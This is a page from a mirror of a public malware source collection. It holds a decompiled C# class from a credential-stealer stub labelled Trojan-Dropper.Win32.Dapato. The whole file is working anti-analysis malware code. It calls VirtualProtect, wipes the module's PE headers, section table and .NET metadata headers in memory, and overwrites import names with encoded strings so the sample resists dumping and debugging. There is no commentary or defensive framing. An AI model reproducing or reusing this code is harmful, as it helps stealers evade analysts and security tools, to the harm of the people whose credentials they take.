mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
254 lines
10 KiB
C#
254 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: ᯬ<EF9495>㍇䡯運ப
|
||
// Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null
|
||
// MVID: FB10EBBA-F12D-4A39-9029-698DA5104FC7
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auty-fb61e5bf162b1ba51f1a122ca70c0a312ccdac7776ef8695adbfb94fbd2522c9.exe
|
||
|
||
using System;
|
||
using System.Runtime.InteropServices;
|
||
|
||
internal static class \u192E\uF515ᯬ\uFFFD\u3347䡯運ப
|
||
{
|
||
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect", PreserveSig = false)]
|
||
private static extern unsafe bool 斸蓬녆\uE5A9甪芌䆃ᡅ(
|
||
byte* lpAddress,
|
||
int dwSize,
|
||
uint flNewProtect,
|
||
out uint lpflOldProtect);
|
||
|
||
public static unsafe void 阛苕头\u2100䦀簴Ṽ芹()
|
||
{
|
||
byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(typeof (\u192E\uF515ᯬ\uFFFD\u3347䡯運ப).Module);
|
||
byte* numPtr1 = hinstance + 60;
|
||
byte* numPtr2 = hinstance + (int) *(uint*) numPtr1 + 6;
|
||
ushort length = *(ushort*) numPtr2;
|
||
byte* numPtr3 = numPtr2 + 14;
|
||
ushort num1 = *(ushort*) numPtr3;
|
||
byte* numPtr4 = numPtr3 + 4 + (int) num1;
|
||
// ISSUE: untyped stack allocation
|
||
byte* numPtr5 = (byte*) __untypedstackalloc(new IntPtr(11));
|
||
*(int*) numPtr5 = 1818522734;
|
||
*(int*) (numPtr5 + 4) = 1818504812;
|
||
*(short*) (numPtr5 + 8) = (short) 108;
|
||
numPtr5[10] = (byte) 0;
|
||
// ISSUE: untyped stack allocation
|
||
byte* numPtr6 = (byte*) __untypedstackalloc(new IntPtr(11));
|
||
*(int*) numPtr6 = 1866691662;
|
||
*(int*) (numPtr6 + 4) = 1852404846;
|
||
*(short*) (numPtr6 + 8) = (short) 25973;
|
||
numPtr6[10] = (byte) 0;
|
||
if (typeof (\u192E\uF515ᯬ\uFFFD\u3347䡯運ப).Module.FullyQualifiedName != "<Unknown>")
|
||
{
|
||
uint lpflOldProtect;
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4 - 16, 8, 64U, out lpflOldProtect);
|
||
*(int*) (numPtr4 - 12) = 0;
|
||
byte* lpAddress1 = hinstance + (int) *(uint*) (numPtr4 - 16);
|
||
*(int*) (numPtr4 - 16) = 0;
|
||
if (*(uint*) (numPtr4 - 120) != 0U)
|
||
goto label_71;
|
||
label_52:
|
||
for (int index = 0; index < (int) length; index++)
|
||
{
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4, 8, 64U, out lpflOldProtect);
|
||
Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
|
||
numPtr4 += 40;
|
||
}
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress1, 72, 64U, out lpflOldProtect);
|
||
byte* lpAddress2 = hinstance + (int) *(uint*) (lpAddress1 + 8);
|
||
*(int*) lpAddress1 = 0;
|
||
*(int*) (lpAddress1 + 4) = 0;
|
||
*(int*) (lpAddress1 + 8) = 0;
|
||
*(int*) (lpAddress1 + 12) = 0;
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress2, 4, 64U, out lpflOldProtect);
|
||
*(int*) lpAddress2 = 0;
|
||
byte* numPtr7 = lpAddress2 + 12;
|
||
byte* numPtr8 = (byte*) ((ulong) ((uint) (numPtr7 + (int) *(uint*) numPtr7) + 7U) & 18446744073709551612UL) + 2;
|
||
ushort num2 = (ushort) *numPtr8;
|
||
byte* lpAddress3 = numPtr8 + 2;
|
||
for (int index1 = 0; index1 < (int) num2; ++index1)
|
||
{
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress3, 8, 64U, out lpflOldProtect);
|
||
*(int*) lpAddress3 = 0;
|
||
byte* numPtr9 = lpAddress3 + 4;
|
||
*(int*) numPtr9 = 0;
|
||
lpAddress3 = numPtr9 + 4;
|
||
for (int index2 = 0; index2 < 8; index2++)
|
||
{
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress3, 4, 64U, out lpflOldProtect);
|
||
*lpAddress3 = (byte) 0;
|
||
byte* numPtr10 = lpAddress3 + 1;
|
||
if (*numPtr10 == (byte) 0)
|
||
{
|
||
lpAddress3 = numPtr10 + 3;
|
||
break;
|
||
}
|
||
*numPtr10 = (byte) 0;
|
||
byte* numPtr11 = numPtr10 + 1;
|
||
if (*numPtr11 == (byte) 0)
|
||
{
|
||
lpAddress3 = numPtr11 + 2;
|
||
break;
|
||
}
|
||
*numPtr11 = (byte) 0;
|
||
byte* numPtr12 = numPtr11 + 1;
|
||
if (*numPtr12 == (byte) 0)
|
||
{
|
||
lpAddress3 = numPtr12 + 1;
|
||
break;
|
||
}
|
||
*numPtr12 = (byte) 0;
|
||
lpAddress3 = numPtr12 + 1;
|
||
}
|
||
}
|
||
return;
|
||
label_71:
|
||
byte* numPtr13 = hinstance + (int) *(uint*) (numPtr4 - 120);
|
||
byte* numPtr14 = hinstance + (int) *(uint*) numPtr13;
|
||
byte* lpAddress4 = hinstance + (int) *(uint*) (numPtr13 + 12);
|
||
byte* lpAddress5 = hinstance + (int) *(uint*) numPtr14 + 2;
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress4, 11, 64U, out lpflOldProtect);
|
||
for (int index = 0; index < 11; ++index)
|
||
lpAddress4[index] = numPtr5[index];
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress5, 11, 64U, out lpflOldProtect);
|
||
for (int index = 0; index < 11; index++)
|
||
lpAddress5[index] = numPtr6[index];
|
||
goto label_52;
|
||
}
|
||
else
|
||
{
|
||
uint lpflOldProtect;
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4 - 16, 8, 64U, out lpflOldProtect);
|
||
*(int*) (numPtr4 - 12) = 0;
|
||
uint num3 = *(uint*) (numPtr4 - 16);
|
||
*(int*) (numPtr4 - 16) = 0;
|
||
uint num4 = *(uint*) (numPtr4 - 120);
|
||
uint[] numArray1 = new uint[(int) length];
|
||
uint[] numArray2 = new uint[(int) length];
|
||
uint[] numArray3 = new uint[(int) length];
|
||
for (int index = 0; index < (int) length; index++)
|
||
{
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4, 8, 64U, out lpflOldProtect);
|
||
Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
|
||
numArray1[index] = *(uint*) (numPtr4 + 12);
|
||
numArray2[index] = *(uint*) (numPtr4 + 8);
|
||
numArray3[index] = *(uint*) (numPtr4 + 20);
|
||
numPtr4 += 40;
|
||
}
|
||
if (num4 != 0U)
|
||
{
|
||
for (int index = 0; index < (int) length; index++)
|
||
{
|
||
if (numArray1[index] < num4 && num4 < numArray1[index] + numArray2[index])
|
||
{
|
||
num4 = num4 - numArray1[index] + numArray3[index];
|
||
break;
|
||
}
|
||
}
|
||
byte* numPtr15 = hinstance + (int) num4;
|
||
uint num5 = *(uint*) numPtr15;
|
||
for (int index = 0; index < (int) length; index++)
|
||
{
|
||
if (numArray1[index] < num5 && num5 < numArray1[index] + numArray2[index])
|
||
{
|
||
num5 = num5 - numArray1[index] + numArray3[index];
|
||
break;
|
||
}
|
||
}
|
||
byte* numPtr16 = hinstance + (int) num5;
|
||
uint num6 = *(uint*) (numPtr15 + 12);
|
||
for (int index = 0; index < (int) length; ++index)
|
||
{
|
||
if (numArray1[index] < num6 && num6 < numArray1[index] + numArray2[index])
|
||
{
|
||
num6 = num6 - numArray1[index] + numArray3[index];
|
||
break;
|
||
}
|
||
}
|
||
uint num7 = *(uint*) numPtr16 + 2U;
|
||
for (int index = 0; index < (int) length; index++)
|
||
{
|
||
if (numArray1[index] < num7 && num7 < numArray1[index] + numArray2[index])
|
||
{
|
||
num7 = num7 - numArray1[index] + numArray3[index];
|
||
break;
|
||
}
|
||
}
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(hinstance + (int) num6, 11, 64U, out lpflOldProtect);
|
||
for (int index = 0; index < 11; ++index)
|
||
(hinstance + (int) num6)[index] = numPtr5[index];
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(hinstance + (int) num7, 11, 64U, out lpflOldProtect);
|
||
for (int index = 0; index < 11; ++index)
|
||
(hinstance + (int) num7)[index] = numPtr6[index];
|
||
}
|
||
for (int index = 0; index < (int) length; ++index)
|
||
{
|
||
if (numArray1[index] < num3 && num3 < numArray1[index] + numArray2[index])
|
||
{
|
||
num3 = num3 - numArray1[index] + numArray3[index];
|
||
break;
|
||
}
|
||
}
|
||
byte* lpAddress6 = hinstance + (int) num3;
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress6, 72, 64U, out lpflOldProtect);
|
||
uint num8 = *(uint*) (lpAddress6 + 8);
|
||
for (int index = 0; index < (int) length; ++index)
|
||
{
|
||
if (numArray1[index] < num8 && num8 < numArray1[index] + numArray2[index])
|
||
{
|
||
num8 = num8 - numArray1[index] + numArray3[index];
|
||
break;
|
||
}
|
||
}
|
||
*(int*) lpAddress6 = 0;
|
||
*(int*) (lpAddress6 + 4) = 0;
|
||
*(int*) (lpAddress6 + 8) = 0;
|
||
*(int*) (lpAddress6 + 12) = 0;
|
||
byte* lpAddress7 = hinstance + (int) num8;
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress7, 4, 64U, out lpflOldProtect);
|
||
*(int*) lpAddress7 = 0;
|
||
byte* numPtr17 = lpAddress7 + 12;
|
||
byte* numPtr18 = (byte*) ((ulong) ((uint) (numPtr17 + (int) *(uint*) numPtr17) + 7U) & 18446744073709551612UL) + 2;
|
||
ushort num9 = (ushort) *numPtr18;
|
||
byte* lpAddress8 = numPtr18 + 2;
|
||
for (int index3 = 0; index3 < (int) num9; index3++)
|
||
{
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress8, 8, 64U, out lpflOldProtect);
|
||
*(int*) lpAddress8 = 0;
|
||
byte* numPtr19 = lpAddress8 + 4;
|
||
*(int*) numPtr19 = 0;
|
||
lpAddress8 = numPtr19 + 4;
|
||
for (int index4 = 0; index4 < 8; ++index4)
|
||
{
|
||
\u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress8, 4, 64U, out lpflOldProtect);
|
||
*lpAddress8 = (byte) 0;
|
||
byte* numPtr20 = lpAddress8 + 1;
|
||
if (*numPtr20 == (byte) 0)
|
||
{
|
||
lpAddress8 = numPtr20 + 3;
|
||
break;
|
||
}
|
||
*numPtr20 = (byte) 0;
|
||
byte* numPtr21 = numPtr20 + 1;
|
||
if (*numPtr21 != (byte) 0)
|
||
{
|
||
*numPtr21 = (byte) 0;
|
||
byte* numPtr22 = numPtr21 + 1;
|
||
if (*numPtr22 == (byte) 0)
|
||
{
|
||
lpAddress8 = numPtr22 + 1;
|
||
break;
|
||
}
|
||
*numPtr22 = (byte) 0;
|
||
lpAddress8 = numPtr22 + 1;
|
||
}
|
||
else
|
||
{
|
||
lpAddress8 = numPtr21 + 2;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|